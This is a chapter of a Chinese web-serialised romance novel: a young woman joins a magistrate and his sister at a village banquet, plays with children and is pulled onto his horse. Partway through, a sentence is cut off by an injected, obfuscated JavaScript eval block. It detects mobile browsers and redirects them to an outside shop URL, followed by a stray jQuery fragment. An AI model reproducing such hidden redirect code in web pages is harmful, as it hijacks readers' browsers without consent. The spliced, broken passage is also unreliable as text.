6. 第 6 章

作品:《觊觎义兄被他发现后

    傅雨婵以为的摘橘子,是到橘林,摘橘子,返程。看到聚在村口迎接马车的人群,才后知后觉记起宁氏兄妹的大族出生。


    马车距离村口还有一段路程,“噼里啪啦”的鞭炮声响了半天,锣鼓声紧随其后,热闹喜庆仿若过年。


    “你这是什么打扮?”钱朔从迎接的队伍中走出来,朝宁砚骁拱了拱手,瞧见他脚上的脏靴子,与身上湛蓝色锦缎的襕衫形成鲜明对比,“路上车陷坑里你下车推了?”


    宁砚骁低头一看,疑惑了片刻,恍然记起,今早天将明他从军营赶回府,匆忙换了衣衫去书院接宁桑雪,又转去昶月楼带上傅雨婵,鞋子忘了换也不曾察觉。


    “你事情办得怎么样了?”他抬起脚,拿手在鞋面上随便拍了拍,招手唤来钱朔的小厮。


    小厮是个伶俐的,一看便明了,转身去了一会儿,很快便捧着一双新靴子回来了。彼时宁砚骁与钱朔已谈完事,待宁砚骁换了靴子,钱朔示意村长一行人上前,为他一一引荐。


    浩浩荡荡一行人边说话边往村子里走去。十七岁的宁桑雪似乎早习惯了这样的场面,被一大群人围着说话也应对自如。


    相比宁桑雪的大家小姐风范,傅雨婵像是误入此间,一味地见人就笑,福身行礼。


    一路走来,地上随处可见绿油油的青松针,长长一排桌子摆在路上,长龙一般从村这头连到村那头。


    傅雨婵紧跟在宁桑雪身后,在村长家门口的桌子旁坐下,少时,妇人们流水一样端着还在冒热气的饭菜上来,堆了一桌,鸡鸭鱼肉俱全。


    “雨婵儿,你们蕲州人待客都会在地上铺这个松针吗?”宁桑雪看什么都稀奇,捏起一小撮铺在桌面上的松针,凑到鼻下闻了闻。


    “……应该是吧。”傅雨婵淡淡笑着,也伸手摸了摸桌面上的松针,提醒道,“这上头的松油沾衣裙上很难洗的,您多留神。”


    “无妨,我还是头一回在这样的地方吃饭,”宁桑雪抬脚踩了踩地上的松针,忽想起什么,凑到傅雨婵耳边小声道,“我不知当地人吃饭都是什么规矩,你在旁边多提醒我,别让我在人前失礼。”


    傅雨婵左右看了看,在对面的院子里看到了宁砚骁和钱朔,身边围着几个人,边说话边往外头走来。宁砚骁与钱朔表露出的都是谦和有礼的姿态,跟在他们身侧的几人分明年长,却略弯着腰身,举手投足俱是对他二人毕恭毕敬。


    “不会,师父安心用饭就行,农家人爽朗,饭桌上没什么规矩,就是一会儿你要小心他们为你盛饭夹菜,会很热情。”傅雨婵说罢,视线又回到桌面铺着的松针上。


    九岁之前,她一直住在村子里,农家饭菜是什么味道,她不是很清楚,当时家里太穷,饥一顿饱一顿是常事,味道什么的不是很重要。


    倒是这些绿松针,她挺怕见到这玩意儿的。一到年前,天没亮就得上山,伴着日出爬树,忍着松针扎手,将它们扯下来放竹篮里。


    同行的都是一样大的孩子,有人动作快先摘满一篮,就有人动作慢只有半篮子,相互帮忙都装满篮子了,再自行背下山去。


    本来人也没多大,却有力气背起比人还宽大的篮子,回家随便翻点东西填饱肚子,再和伙伴一起将篮子背去镇上卖。


    一天一天又一天,持续半个多月。


    真到了过年铺松针那天,家里人口多些的,会留下一些松针自己家铺,添加年味,傅雨婵家只有她和母亲,甚至很多时候只有她一个,索性有多少卖多少。


    “雨婵儿?”宁桑雪唤她一声,傅雨婵回过神,才发现面前的桌子已坐满人,村长夫人正笑容可掬地看着她:“傅姑娘,我们这儿有甜米酒,香香甜甜不醉人的,尝尝?”


    “哦,谢、谢谢。”傅雨婵忙将身前的空碗递过去。


    手收回来时,险些碰掉桌边的筷子,幸好有一只手从她左边及时伸过来将筷子稳住。


    傅雨婵略一侧眸,才发现坐在她左手边的,竟是宁砚骁。


    他也在看她,傅雨婵强装镇定,坐姿僵硬。忽地,有什么温热的东西碰了碰她搭在腿上的小指。


    “这是我方才问村里大夫讨来的,宁神醒脑,对晕车也很有效果。”


    宁砚骁面上没有什么变化,桌下的手伸到傅雨婵这边,摊开手心露出一个小瓷瓶来。


    暖阳悬在头顶,傅雨婵心口似被什么东西敲了一下。


    她很快伸手将药瓶接了过来,脸转过去正想跟他说声谢谢,村长夫人端着甜米酒过来了。


    宁砚骁这边也没得消停,自村长儿子带着妻子过来拜谢敬酒,而后又有不少村民携家眷老小过来拜见。


    傅雨婵一边吃菜一边静静听着,方知这里早年是恶霸权贵的地盘,后来被宁砚骁遇上,他花了不少银子买下此间田契、地契,自己顾不上打理,便请了钱朔来安排人管理,三年下来,这村子才有了如今的繁盛景象。


    这些事倒是让傅雨婵想起,宁砚骁不仅是她的恩公,也是密云城很多人的恩公。


    “恩公心善,自己却因为他的这些善心而对他生出杂念,真是龌龊啊。”如此想着,傅雨婵埋头将碗里的饭菜全扒拉进嘴里。


    左边的宁砚骁和钱朔还在和村民说话,右边的宁桑雪也在认真听着雀儿家人诉说感谢,她端起碗筷默默起身,进院子找到井边,有大木盆有脏碗筷,她拿着碗过想帮忙,却被旁边等着洗碗的妇人们婉拒了:“不可不可,您是贵客,这些粗活交给我们来就好。”


    傅雨婵拗不过,悻悻退了出来。看看人堆里的宁家兄妹和钱朔,再看看自己,轻吐了一口气。


    待宴席散了要上山摘橘时,宁桑雪才发现傅雨婵不见了,雀儿找了人一问,便有了她的下落。


    摘橘子的队伍从村东头出来,果然看到路边倒着一棵大树。粗壮枝干横躺在草地上,傅雨婵与六七个半大孩子,或坐或站在枝干上,另有一小男孩儿在枝干尾端用力晃,树干上的人随之摇动起来,引来银铃般的欢笑声一大片。


    傅雨婵稳坐其间,笑得眉眼弯弯,还在与旁边的孩子说着,“都抓紧了,小心掉下去摔个狗啃泥!”


    眼尾看到村里出来的一大群人时,她立马闭嘴,脸上的笑容也没了,还险些一个不留神摔了。


    “好啊,雨婵儿,你寻到好玩儿的,竟不叫上我,你眼里还有我这个师父吗?”宁桑雪跨坐在马背上,挥鞭策马往前几步过来。


    傅雨婵有些下去,树枝还在晃,她试了好一会儿才跳下去,还是摔了,幸而底下有草茂泥软,也不疼。


    “我、我没有……”看着宁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319142|199025||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    桑雪身后还有几十人,傅雨婵臊得脸颊绯红,张了张嘴,实在不知还能说什么。


    先前见宁桑雪他们忙着,她就站在边上等着,遇上几个孩子在爬院墙,她闲来无事过去围观。是有小孩儿闹着玩儿将糖块扔墙头上去了,正叠罗汉取糖。


    他们试了几回就摔了几回,傅雨婵看不过眼,找了凳子踩着,再将一男孩儿举了踩她肩上。拿到糖,孩子们一顿欢呼,为首的孩子将糖块敲碎,给同伴们分了,还留了一块给傅雨婵。


    许是见到她这个“新人”觉得新奇,之前有父母的叮嘱不敢打扰,傅雨婵先一步示好,便围着她问东问西,又邀她一起玩儿。


    傅雨婵说不上有多喜欢孩子,却也拗不过他们热情,说好来村外看个稀奇的东西前,她去找雀儿问过的,雀儿说一半村里这样的宴席都是从中午就能吃到晚上的。


    想着摘橘子什么的应该也不用他们亲自动手,村长自会着人为他们准备好,等他们走时一并带上就行,这才放心大胆跟着孩子们出来玩儿的。


    “时候不早了,出发吧!”宁砚骁说完这话,领路的大叔得了令,带着众人往山上去了。


    钱朔策马往前几步,却见宁砚骁没跟上来,“怎么了?”


    “你先走。”


    “啊?”钱朔不解,还是跟着队伍往前走了。


    宁桑雪等傅雨婵从草地上过来,正要伸手拉她上马,宁砚骁过来将她伸出的手推了回去:“这次山路崎岖,你又许久不曾骑马了,她交给我,你顾好自己就行。”


    村长提出路窄马车上不去,需骑马时,宁砚骁就劝过宁桑雪,让她跟自己同骑一匹马,或者钱朔,她不肯,说骑马要自己策马才有意思。


    宁桑雪的骑射宁砚骁是知道的,便也允了。


    “她脸皮薄胆子小,你和颜悦色些,不许凶她。”宁桑雪从前是不惧骑马带人的,想到不熟悉山路,傅雨婵也不曾骑过马,为她安危计,托付给兄长是最为稳妥的,便叮嘱了宁砚骁几句。


    又同傅雨婵说:“雨婵儿,我哥的骑术与那些自小在马背上长大的异族男儿比也是毫不逊色的,你安心跟着他,路上他要是敢欺负你,或者让你不自在不舒服了,到了橘林尽管告诉我,我替你教训他。”


    她这话分明是说给傅雨婵安心用的,言罢,便策马让朝一边。


    “要不,我还是不去了吧!”傅雨婵看看宁桑雪,又看看宁砚骁,往后退了退。


    在密云城指望着跟他们多走动,好让自己多长些见识,到了这不是山就是田的村子里,她更愿意跟身后的孩子们玩儿,哪怕是蹲路边数蚂蚁。


    宁砚骁策马往前,走到她跟前,俯身朝她伸出手,像是没听到她的话一般。


    “我、我留在这里等你们回来吧。”她尝试着又说了一遍。


    宁砚骁平静的面色微变了变,胳膊又往她这边伸了伸。


    他是密云城守备,他说什么就是什么,不能得罪。这般想着,傅雨婵伸手过去,宁砚骁并未拽她的胳膊,而是压着身子又往前了一些,一把揽住她的腰,猴子捞月一般将她带到怀里按在马背上。


    “大姐姐,大姐姐,你还回来吗?”草丛那边的孩子们大声喊着。


    傅雨婵惊魂未定,僵在宁砚骁怀里,一动不动。